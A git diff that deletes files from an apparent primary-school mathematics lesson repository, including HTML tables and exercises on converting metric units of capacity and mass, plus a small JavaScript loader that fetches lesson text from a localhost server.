-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Tonne(T)
- <br />
- Quintal(q)
- <br />
- -
- <br />
- Kilogram(kg)
- <br />
- Hectogram(Hg)
- <br />
- Decaagram(Dag)
- <br />
- Gram(g)
- <br />
- Decigram(dg)
- <br />
- Centigram(cg)
- <br />
- Milligram(mg)
- <br />
- <br />
- 1t=10q
- <br />
- 1t=1 000kg
- <br />
- 1t=10 000hg
- <br />
- 1t=100 000dag
- <br />
- 1t=1 000 000g
- <br />
- 1t=10 000 000dg
- <br />
- 1t=100 000 000cg
- <br />
- 1t=1 000 000 000mg
- <br />
- <br />
- The measurement of mass are converting from left by multipying byb ten to get the nearest unit. The standard unit is Kilogram(kg).
- <br />
- <br />
- Example3: Converting the following to the given units using tha table
- <br />
- <br />
- a. 251dl=..........cl=..........ml
- <br />
- b. 1456kg=.........dag=........cg
- <br />
- c. 25q=........kg=..........g=..........mg
- <br />
- d. 897 867 dag=........g=............cg=............mg
- <br />
- <br />
- Example 4: Comparison between measurement of capacity and measurement of mass.
- <br />
- <br />
- Comparison table
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    q
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    kg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    hg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dag
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ml
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:
- </span>
- The unnit between Tonne and quintal is no longer in use is called
- <span style="font-weight: bold;">
-  milliagram
- </span>
- <br />
- <br />
- 1t=10hl
- <br />
- 1t=100dal
- <br />
- 1t=1 000l
- <br />
- 1t=10 000dl
- <br />
- 1t=100 000cl
- <br />
- 1t=1 000 000ml
- <br />
- <br />
- 1quintal(1q)=1hectolitre(h)
- <br />
- 1q=1hl
- <br />
- 1kilogram(1kg)=1litree(1l)
- <br />
- 1kg=1l
- <br />
- 1hectogram(1hg)=1decilitre(1dl)
- <br />
- 1hg=1dl
- <br />
- 1decagram(1dag)=1centilitre(1cl)
- <br />
- 1dag=1cl
- <br />
- 1gram(1g)=1millilitre(1ml)
- <br />
- 1g=1ml
- <br />
- <br />
- Example5: Convert into the unnits given
- <br />
- <br />
- a) 40kg=..........dl
- <br />
- b ) 5t=.............l
- <br />
- c) 15hl=.........hg
- <br />
- d) 10l=...........g
- <br />
- e) 150dag=..........ml
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a02/description.py b/Save_Mathematics/P6/map611m13/map611m13a02/description.py
deleted file mode 100644
index 801a57b..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a02/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a02/lesson.js
deleted file mode 100644
index 74c5696..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a02/source.txt b/Save_Mathematics/P6/map611m13/map611m13a02/source.txt
deleted file mode 100644
index 3d6da34..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a02/source.txt
+++ /dev/null
@@ -1,1079 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1: Measurement of capacity.
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    ml
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Hectolitre(hl)
-    <br />
-    Decalitre(dal)
-    <br />
-    Litre(l)
-    <br />
-    Decilitre(dl)
-    <br />
-    Centilitre(cl)
-    <br />
-    Millilitre(ml)
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    1hl=10dal
-    <br />
-    1hl=100l
-    <br />
-    1hl=1000dl
-    <br />
-    1hl=10 000cl
-    <br />
-    1hl=100 000ml
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- To convertunits from left to right you multiply by ten to get the nearest unit.
- <br />
- The standard unit in measurement of cappacity is litre (l).
- <br />
- <br />
- Example2: Measurements of mass.
- <br />
- Table for converting mesurements of mass
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Q
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Kg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Dag
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Tonne(T)
- <br />
- Quintal(q)
- <br />
- -
- <br />
- Kilogram(kg)
- <br />
- Hectogram(Hg)
- <br />
- Decaagram(Dag)
- <br />
- Gram(g)
- <br />
- Decigram(dg)
- <br />
- Centigram(cg)
- <br />
- Milligram(mg)
- <br />
- <br />
- 1t=10q
- <br />
- 1t=1 000kg
- <br />
- 1t=10 000hg
- <br />
- 1t=100 000dag
- <br />
- 1t=1 000 000g
- <br />
- 1t=10 000 000dg
- <br />
- 1t=100 000 000cg
- <br />
- 1t=1 000 000 000mg
- <br />
- <br />
- The measurement of mass are converting from left by multipying byb ten to get the nearest unit. The standard unit is Kilogram(kg).
- <br />
- <br />
- Example3: Converting the following to the given units using tha table
- <br />
- <br />
- a. 251dl=..........cl=..........ml
- <br />
- b. 1456kg=.........dag=........cg
- <br />
- c. 25q=........kg=..........g=..........mg
- <br />
- d. 897 867 dag=........g=............cg=............mg
- <br />
- <br />
- Example 4: Comparison between measurement of capacity and measurement of mass.
- <br />
- <br />
- Comparison table
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    q
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    kg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    hg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dag
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    ml
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:
- </span>
- The unnit between Tonne and quintal is no longer in use is called
- <span style="font-weight: bold;">
-  milliagram
- </span>
- <br />
- <br />
- 1t=10hl
- <br />
- 1t=100dal
- <br />
- 1t=1 000l
- <br />
- 1t=10 000dl
- <br />
- 1t=100 000cl
- <br />
- 1t=1 000 000ml
- <br />
- <br />
- 1quintal(1q)=1hectolitre(h)
- <br />
- 1q=1hl
- <br />
- 1kilogram(1kg)=1litree(1l)
- <br />
- 1kg=1l
- <br />
- 1hectogram(1hg)=1decilitre(1dl)
- <br />
- 1hg=1dl
- <br />
- 1decagram(1dag)=1centilitre(1cl)
- <br />
- 1dag=1cl
- <br />
- 1gram(1g)=1millilitre(1ml)
- <br />
- 1g=1ml
- <br />
- <br />
- Example5: Convert into the unnits given
- <br />
- <br />
- a) 40kg=..........dl
- <br />
- b ) 5t=.............l
- <br />
- c) 15hl=.........hg
- <br />
- d) 10l=...........g
- <br />
- e) 150dag=..........ml
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
